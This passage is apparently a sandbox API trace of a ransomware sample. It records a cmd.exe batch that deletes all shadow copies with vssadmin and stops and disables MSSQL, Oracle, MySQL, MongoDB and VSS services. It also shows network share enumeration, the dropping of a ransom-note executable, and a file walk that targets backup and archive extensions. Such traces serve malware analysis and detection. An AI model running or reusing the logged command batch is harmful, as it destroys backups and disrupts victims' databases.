	[0034.755] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ba730 | out: hHeap=0x580000) returned 1
	[0034.755] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x388) returned 0x5c8a58
	[0034.755] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x144) returned 0x596eb0
	[0034.755] GetLastError () returned 0x0
	[0034.755] SetLastError (dwErrCode=0x0) 
	[0034.755] CreateProcessA (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="C:\\Windows\\system32\\cmd.exe /c @echo off\r\nvssadmin delete shadows /all /quiet\r\nsc config browser\r\nsc config browser start=enabled\r\nsc stop vss\r\nsc config vss start=disabled\r\nsc stop MongoDB\r\nsc config MongoDB start=disabled\r\nsc stop SQLWriter\r\nsc config SQLWriter start=disabled\r\nsc stop MSSQLServerOLAPService\r\nsc config MSSQLServerOLAPService start=disabled\r\nsc stop MSSQLSERVER\r\nsc config MSSQLSERVER start=disabled\r\nsc stop MSSQL$SQLEXPRESS\r\nsc config MSSQL$SQLEXPRESS start=disabled\r\nsc stop ReportServer\r\nsc config ReportServer start=disabled\r\nsc stop OracleServiceORCL\r\nsc config OracleServiceORCL start=disabled\r\nsc stop OracleDBConsoleorcl\r\nsc config OracleDBConsoleorcl start=disabled\r\nsc stop OracleMTSRecoveryService\r\nsc config OracleMTSRecoveryService start=disabled\r\nsc stop OracleVssWriterORCL\r\nsc config OracleVssWriterORCL start=disabled\r\nsc stop MySQL\r\nsc config MySQL start=disabled\r\n", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x39da94*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x596eb0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x39dad8 | out: lpCommandLine="C:\\Windows\\system32\\cmd.exe /c @echo off\r\nvssadmin delete shadows /all /quiet\r\nsc config browser\r\nsc config browser start=enabled\r\nsc stop vss\r\nsc config vss start=disabled\r\nsc stop MongoDB\r\nsc config MongoDB start=disabled\r\nsc stop SQLWriter\r\nsc config SQLWriter start=disabled\r\nsc stop MSSQLServerOLAPService\r\nsc config MSSQLServerOLAPService start=disabled\r\nsc stop MSSQLSERVER\r\nsc config MSSQLSERVER start=disabled\r\nsc stop MSSQL$SQLEXPRESS\r\nsc config MSSQL$SQLEXPRESS start=disabled\r\nsc stop ReportServer\r\nsc config ReportServer start=disabled\r\nsc stop OracleServiceORCL\r\nsc config OracleServiceORCL start=disabled\r\nsc stop OracleDBConsoleorcl\r\nsc config OracleDBConsoleorcl start=disabled\r\nsc stop OracleMTSRecoveryService\r\nsc config OracleMTSRecoveryService start=disabled\r\nsc stop OracleVssWriterORCL\r\nsc config OracleVssWriterORCL start=disabled\r\nsc stop MySQL\r\nsc config MySQL start=disabled\r\n", lpProcessInformation=0x39dad8*(hProcess=0x8c, hThread=0x84, dwProcessId=0xabc, dwThreadId=0xac0)) returned 1
	[0034.793] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0035.280] GetExitCodeProcess (in: hProcess=0x8c, lpExitCode=0x39daf8 | out: lpExitCode=0x39daf8*=0x0) returned 1
	[0035.280] CloseHandle (hObject=0x84) returned 1
	[0035.280] CloseHandle (hObject=0x8c) returned 1
	[0035.280] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596eb0 | out: hHeap=0x580000) returned 1
	[0035.280] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8a58 | out: hHeap=0x580000) returned 1
	[0035.280] GetLastError () returned 0x0
	[0035.280] SetLastError (dwErrCode=0x0) 
	[0035.280] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x597538 | out: hHeap=0x580000) returned 1
	[0035.280] FindFirstVolumeW (in: lpszVolumeName=0x39d96c, cchBufferLength=0x104 | out: lpszVolumeName="\\\\?\\Volume{92eb13a2-4a1d-11e7-bae1-806e6f6e6963}\\") returned 0x596eb0
	[0035.280] GetVolumePathNamesForVolumeNameW (in: lpszVolumeName="\\\\?\\Volume{92eb13a2-4a1d-11e7-bae1-806e6f6e6963}\\", lpszVolumePathNames=0x39d764, cchBufferLength=0x104, lpcchReturnLength=0x39db7c | out: lpszVolumePathNames=0x39d764, lpcchReturnLength=0x39db7c) returned 1
	[0035.281] FindNextVolumeW (in: hFindVolume=0x596eb0, lpszVolumeName=0x39d96c, cchBufferLength=0x104 | out: hFindVolume=0x596eb0, lpszVolumeName="\\\\?\\Volume{92eb13a2-4a1d-11e7-bae1-806e6f6e6963}\\") returned 0
	[0035.281] FindVolumeClose (hFindVolume=0x596eb0) returned 1
	[0035.281] GetLogicalDriveStringsW (in: nBufferLength=0x100, lpBuffer=0x39f394 | out: lpBuffer="C:\\") returned 0x4
	[0035.281] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0035.281] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b75e8
	[0035.281] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6) returned 0x5bd8c8
	[0035.281] RtlInterlockedPushEntrySList (in: ListHead=0x5b7570, ListEntry=0x5b75f0 | out: ListHead=0x5b7570, ListEntry=0x5b75f0) returned 0x0
	[0035.281] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x121fa70, lpParameter=0x5b7570, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c
	[0035.281] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x39db70 | out: lphEnum=0x39db70*=0x5ca410) returned 0x0
	[0036.333] WNetEnumResourceW (in: hEnum=0x5ca410, lpcCount=0x39db74, lpBuffer=0x59b890, lpBufferSize=0x39db78 | out: lpcCount=0x39db74, lpBuffer=0x59b890, lpBufferSize=0x39db78) returned 0x0
	[0036.333] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x59b890, lphEnum=0x39db44 | out: lphEnum=0x39db44*=0x59fbc8) returned 0x0
	[0036.357] WNetEnumResourceW (in: hEnum=0x59fbc8, lpcCount=0x39db48, lpBuffer=0x5a3498, lpBufferSize=0x39db4c | out: lpcCount=0x39db48, lpBuffer=0x5a3498, lpBufferSize=0x39db4c) returned 0x103
	[0036.358] WNetCloseEnum (hEnum=0x59fbc8) returned 0x0
	[0036.358] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x59b8b0, lphEnum=0x39db44 | out: lphEnum=0x39db44*=0x59fbc8) returned 0x4b8
	[0049.737] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x59b8d0, lphEnum=0x39db44 | out: lphEnum=0x39db44*=0x59fbc8) returned 0x4c6
	[0049.753] WNetEnumResourceW (in: hEnum=0x5ca410, lpcCount=0x39db74, lpBuffer=0x59b890, lpBufferSize=0x39db78 | out: lpcCount=0x39db74, lpBuffer=0x59b890, lpBufferSize=0x39db78) returned 0x103
	[0049.755] WNetCloseEnum (hEnum=0x5ca410) returned 0x0
	[0049.755] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) 

Thread:
	id = 2
	os_tid = 0xa24


Thread:
	id = 4
	os_tid = 0xad4

	[0035.434] RtlInterlockedPopEntrySList (in: ListHead=0x5b7570 | out: ListHead=0x5b7570) returned 0x5b75f0
	[0035.434] lstrcpynW (in: lpString1=0x107e9f8, lpString2="C:", iMaxLength=2048 | out: lpString1="C:") returned="C:"
	[0035.434] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x580000) returned 1
	[0035.434] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b75e8 | out: hHeap=0x580000) returned 1
	[0035.434] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x20) returned 0x5976c8
	[0035.434] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b75e8
	[0035.434] RtlInitializeSListHead (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) 
	[0035.434] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7668
	[0035.434] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6) returned 0x5bd8c8
	[0035.434] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7670 | out: ListHead=0x5b75f0, ListEntry=0x5b7670) returned 0x0
	[0035.434] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x121f240, lpParameter=0x5976c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x90
	[0035.435] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x20) returned 0x5976f0
	[0035.435] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b76a8
	[0035.435] RtlInitializeSListHead (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) 
	[0035.435] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b76c8
	[0035.435] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6) returned 0x5bd8b8
	[0035.435] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b76d0 | out: ListHead=0x5b76b0, ListEntry=0x5b76d0) returned 0x0
	[0035.435] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x121f240, lpParameter=0x5976f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c
	[0035.435] RtlInterlockedPopEntrySList (in: ListHead=0x5b7570 | out: ListHead=0x5b7570) returned 0x0
	[0035.435] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107e8f8*=0x90, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1
	[0079.354] CloseHandle (hObject=0x9c) returned 1
	[0079.354] WaitForMultipleObjects (nCount=0x1, lpHandles=0x107e8f8*=0x90, bWaitAll=0, dwMilliseconds=0xffffffff) 

Thread:
	id = 5
	os_tid = 0xad8

	[0035.536] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6980
	[0035.536] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x4) returned 0x5bd878
	[0035.536] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" | out: lpString1="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe") returned="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe"
	[0035.536] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7670
	[0035.536] lstrcpynW (in: lpString1=0x119e608, lpString2="C:", iMaxLength=260 | out: lpString1="C:") returned="C:"
	[0035.536] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x580000) returned 1
	[0035.536] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7668 | out: hHeap=0x580000) returned 1
	[0035.536] lstrlenW (lpString="C:") returned 2
	[0035.536] lstrcatW (in: lpString1="", lpString2="C:" | out: lpString1="C:") returned="C:"
	[0035.536] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0035.536] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0035.548] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0035.548] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x5ca010
	[0035.548] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.551] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="Apollon865.txt.exe") returned -1
	[0035.551] lstrcmpiW (lpString1="$Recycle.Bin", lpString2=".") returned -1
	[0035.551] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="..") returned -1
	[0035.551] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="windows") returned -1
	[0035.551] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="bootmgr") returned -1
	[0035.551] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="temp") returned -1
	[0035.551] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="pagefile.sys") returned -1
	[0035.551] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="boot") returned -1
	[0035.551] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="ids.txt") returned -1
	[0035.551] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="ntuser.dat") returned -1
	[0035.551] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="perflogs") returned -1
	[0035.551] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="MSBuild") returned -1
	[0035.551] lstrlenW (lpString="$Recycle.Bin") returned 12
	[0035.551] lstrlenW (lpString="C:\\*") returned 4
	[0035.551] lstrcpyW (in: lpString1=0x119e60e, lpString2="$Recycle.Bin" | out: lpString1="$Recycle.Bin") returned="$Recycle.Bin"
	[0035.551] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b76c8
	[0035.551] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x20) returned 0x597830
	[0035.551] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b76d0 | out: ListHead=0x5b75f0, ListEntry=0x5b76d0) returned 0x0
	[0035.551] FindNextFileW (in: hFindFile=0x5ca010, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
	[0035.551] lstrcmpiW (lpString1="Boot", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.551] lstrcmpiW (lpString1="Boot", lpString2="Apollon865.txt.exe") returned 1
	[0035.551] lstrcmpiW (lpString1="Boot", lpString2=".") returned 1
	[0035.551] lstrcmpiW (lpString1="Boot", lpString2="..") returned 1
	[0035.551] lstrcmpiW (lpString1="Boot", lpString2="windows") returned -1
	[0035.551] lstrcmpiW (lpString1="Boot", lpString2="bootmgr") returned -1
	[0035.551] lstrcmpiW (lpString1="Boot", lpString2="temp") returned -1
	[0035.551] lstrcmpiW (lpString1="Boot", lpString2="pagefile.sys") returned -1
	[0035.551] lstrcmpiW (lpString1="Boot", lpString2="boot") returned 0
	[0035.551] FindNextFileW (in: hFindFile=0x5ca010, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1
	[0035.551] lstrcmpiW (lpString1="bootmgr", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.551] lstrcmpiW (lpString1="bootmgr", lpString2="Apollon865.txt.exe") returned 1
	[0035.551] lstrcmpiW (lpString1="bootmgr", lpString2=".") returned 1
	[0035.551] lstrcmpiW (lpString1="bootmgr", lpString2="..") returned 1
	[0035.551] lstrcmpiW (lpString1="bootmgr", lpString2="windows") returned -1
	[0035.552] lstrcmpiW (lpString1="bootmgr", lpString2="bootmgr") returned 0
	[0035.552] FindNextFileW (in: hFindFile=0x5ca010, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1
	[0035.552] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.552] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="Apollon865.txt.exe") returned 1
	[0035.552] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2=".") returned 1
	[0035.552] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="..") returned 1
	[0035.552] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="windows") returned -1
	[0035.552] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="bootmgr") returned 1
	[0035.552] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="temp") returned -1
	[0035.552] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="pagefile.sys") returned -1
	[0035.552] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="boot") returned 1
	[0035.552] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="ids.txt") returned -1
	[0035.552] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="ntuser.dat") returned -1
	[0035.552] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="perflogs") returned -1
	[0035.552] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="MSBuild") returned -1
	[0035.552] lstrlenW (lpString="BOOTSECT.BAK") returned 12
	[0035.552] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15
	[0035.552] lstrcpyW (in: lpString1=0x119e60e, lpString2="BOOTSECT.BAK" | out: lpString1="BOOTSECT.BAK") returned="BOOTSECT.BAK"
	[0035.552] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1
	[0035.554] lstrlenW (lpString="BOOTSECT.BAK") returned 12
	[0035.554] lstrlenW (lpString="Apollon865") returned 10
	[0035.554] lstrcmpiW (lpString1="OTSECT.BAK", lpString2="Apollon865") returned 1
	[0035.561] lstrlenW (lpString=".dll") returned 4
	[0035.561] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2=".dll") returned 1
	[0035.561] lstrlenW (lpString=".lnk") returned 4
	[0035.561] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2=".lnk") returned 1
	[0035.561] lstrlenW (lpString=".ini") returned 4
	[0035.561] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2=".ini") returned 1
	[0035.561] lstrlenW (lpString=".sys") returned 4
	[0035.561] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2=".sys") returned 1
	[0035.561] lstrlenW (lpString="BOOTSECT.BAK") returned 12
	[0035.561] lstrlenW (lpString="bak") returned 3
	[0035.561] lstrcmpiW (lpString1="BAK", lpString2="bak") returned 0
	[0035.561] FindNextFileW (in: hFindFile=0x5ca010, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1
	[0035.561] lstrcmpiW (lpString1="Config.Msi", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.561] lstrcmpiW (lpString1="Config.Msi", lpString2="Apollon865.txt.exe") returned 1
	[0035.561] lstrcmpiW (lpString1="Config.Msi", lpString2=".") returned 1
	[0035.561] lstrcmpiW (lpString1="Config.Msi", lpString2="..") returned 1
	[0035.561] lstrcmpiW (lpString1="Config.Msi", lpString2="windows") returned -1
	[0035.561] lstrcmpiW (lpString1="Config.Msi", lpString2="bootmgr") returned 1
	[0035.561] lstrcmpiW (lpString1="Config.Msi", lpString2="temp") returned -1
	[0035.562] lstrcmpiW (lpString1="Config.Msi", lpString2="pagefile.sys") returned -1
	[0035.562] lstrcmpiW (lpString1="Config.Msi", lpString2="boot") returned 1
	[0035.562] lstrcmpiW (lpString1="Config.Msi", lpString2="ids.txt") returned -1
	[0035.562] lstrcmpiW (lpString1="Config.Msi", lpString2="ntuser.dat") returned -1
	[0035.562] lstrcmpiW (lpString1="Config.Msi", lpString2="perflogs") returned -1
	[0035.562] lstrcmpiW (lpString1="Config.Msi", lpString2="MSBuild") returned -1
	[0035.562] lstrlenW (lpString="Config.Msi") returned 10
	[0035.562] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0035.562] lstrcpyW (in: lpString1=0x119e60e, lpString2="Config.Msi" | out: lpString1="Config.Msi") returned="Config.Msi"
	[0035.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7708
	[0035.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x1c) returned 0x597880
	[0035.562] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7710 | out: ListHead=0x5b75f0, ListEntry=0x5b7710) returned 0x5b76d0
	[0035.562] FindNextFileW (in: hFindFile=0x5ca010, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1
	[0035.562] lstrcmpiW (lpString1="Documents and Settings", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.562] lstrcmpiW (lpString1="Documents and Settings", lpString2="Apollon865.txt.exe") returned 1
	[0035.562] lstrcmpiW (lpString1="Documents and Settings", lpString2=".") returned 1
	[0035.562] lstrcmpiW (lpString1="Documents and Settings", lpString2="..") returned 1
	[0035.562] lstrcmpiW (lpString1="Documents and Settings", lpString2="windows") returned -1
	[0035.562] lstrcmpiW (lpString1="Documents and Settings", lpString2="bootmgr") returned 1
	[0035.562] lstrcmpiW (lpString1="Documents and Settings", lpString2="temp") returned -1
	[0035.562] lstrcmpiW (lpString1="Documents and Settings", lpString2="pagefile.sys") returned -1
	[0035.562] lstrcmpiW (lpString1="Documents and Settings", lpString2="boot") returned 1
	[0035.562] lstrcmpiW (lpString1="Documents and Settings", lpString2="ids.txt") returned -1
	[0035.562] lstrcmpiW (lpString1="Documents and Settings", lpString2="ntuser.dat") returned -1
	[0035.562] lstrcmpiW (lpString1="Documents and Settings", lpString2="perflogs") returned -1
	[0035.562] lstrcmpiW (lpString1="Documents and Settings", lpString2="MSBuild") returned -1
	[0035.562] lstrlenW (lpString="Documents and Settings") returned 22
	[0035.562] lstrlenW (lpString="C:\\Config.Msi") returned 13
	[0035.562] lstrcpyW (in: lpString1=0x119e60e, lpString2="Documents and Settings" | out: lpString1="Documents and Settings") returned="Documents and Settings"
	[0035.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7728
	[0035.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x34) returned 0x5ca090
	[0035.562] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7730 | out: ListHead=0x5b75f0, ListEntry=0x5b7730) returned 0x5b7710
	[0035.562] FindNextFileW (in: hFindFile=0x5ca010, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x813b7be0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1
	[0035.562] lstrcmpiW (lpString1="hiberfil.sys", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.562] lstrcmpiW (lpString1="hiberfil.sys", lpString2="Apollon865.txt.exe") returned 1
	[0035.562] lstrcmpiW (lpString1="hiberfil.sys", lpString2=".") returned 1
	[0035.562] lstrcmpiW (lpString1="hiberfil.sys", lpString2="..") returned 1
	[0035.563] lstrcmpiW (lpString1="hiberfil.sys", lpString2="windows") returned -1
	[0035.563] lstrcmpiW (lpString1="hiberfil.sys", lpString2="bootmgr") returned 1
	[0035.563] lstrcmpiW (lpString1="hiberfil.sys", lpString2="temp") returned -1
	[0035.563] lstrcmpiW (lpString1="hiberfil.sys", lpString2="pagefile.sys") returned -1
	[0035.563] lstrcmpiW (lpString1="hiberfil.sys", lpString2="boot") returned 1
	[0035.563] lstrcmpiW (lpString1="hiberfil.sys", lpString2="ids.txt") returned -1
	[0035.563] lstrcmpiW (lpString1="hiberfil.sys", lpString2="ntuser.dat") returned -1
	[0035.563] lstrcmpiW (lpString1="hiberfil.sys", lpString2="perflogs") returned -1
	[0035.563] lstrcmpiW (lpString1="hiberfil.sys", lpString2="MSBuild") returned -1
	[0035.563] lstrlenW (lpString="hiberfil.sys") returned 12
	[0035.563] lstrlenW (lpString="C:\\Documents and Settings") returned 25
	[0035.563] lstrcpyW (in: lpString1=0x119e60e, lpString2="hiberfil.sys" | out: lpString1="hiberfil.sys") returned="hiberfil.sys"
	[0035.563] lstrlenW (lpString="hiberfil.sys") returned 12
	[0035.563] lstrlenW (lpString="Apollon865") returned 10
	[0035.563] lstrcmpiW (lpString1="berfil.sys", lpString2="Apollon865") returned 1
	[0035.563] lstrlenW (lpString=".dll") returned 4
	[0035.563] lstrcmpiW (lpString1="hiberfil.sys", lpString2=".dll") returned 1
	[0035.563] lstrlenW (lpString=".lnk") returned 4
	[0035.563] lstrcmpiW (lpString1="hiberfil.sys", lpString2=".lnk") returned 1
	[0035.563] lstrlenW (lpString=".ini") returned 4
	[0035.563] lstrcmpiW (lpString1="hiberfil.sys", lpString2=".ini") returned 1
	[0035.563] lstrlenW (lpString=".sys") returned 4
	[0035.563] lstrcmpiW (lpString1="hiberfil.sys", lpString2=".sys") returned 1
	[0035.563] lstrlenW (lpString="hiberfil.sys") returned 12
	[0035.563] lstrlenW (lpString="bak") returned 3
	[0035.563] lstrcmpiW (lpString1="sys", lpString2="bak") returned 1
	[0035.563] lstrlenW (lpString="ba_") returned 3
	[0035.563] lstrcmpiW (lpString1="sys", lpString2="ba_") returned 1
	[0035.563] lstrlenW (lpString="dbb") returned 3
	[0035.563] lstrcmpiW (lpString1="sys", lpString2="dbb") returned 1
	[0035.563] lstrlenW (lpString="vmdk") returned 4
	[0035.563] lstrcmpiW (lpString1=".sys", lpString2="vmdk") returned -1
	[0035.563] lstrlenW (lpString="rar") returned 3
	[0035.563] lstrcmpiW (lpString1="sys", lpString2="rar") returned 1
	[0035.563] lstrlenW (lpString="zip") returned 3
	[0035.563] lstrcmpiW (lpString1="sys", lpString2="zip") returned -1
	[0035.563] lstrlenW (lpString="tgz") returned 3
	[0035.563] lstrcmpiW (lpString1="sys", lpString2="tgz") returned -1
	[0035.563] lstrlenW (lpString="vbox") returned 4
	[0035.563] lstrcmpiW (lpString1=".sys", lpString2="vbox") returned -1
	[0035.564] lstrlenW (lpString="vdi") returned 3
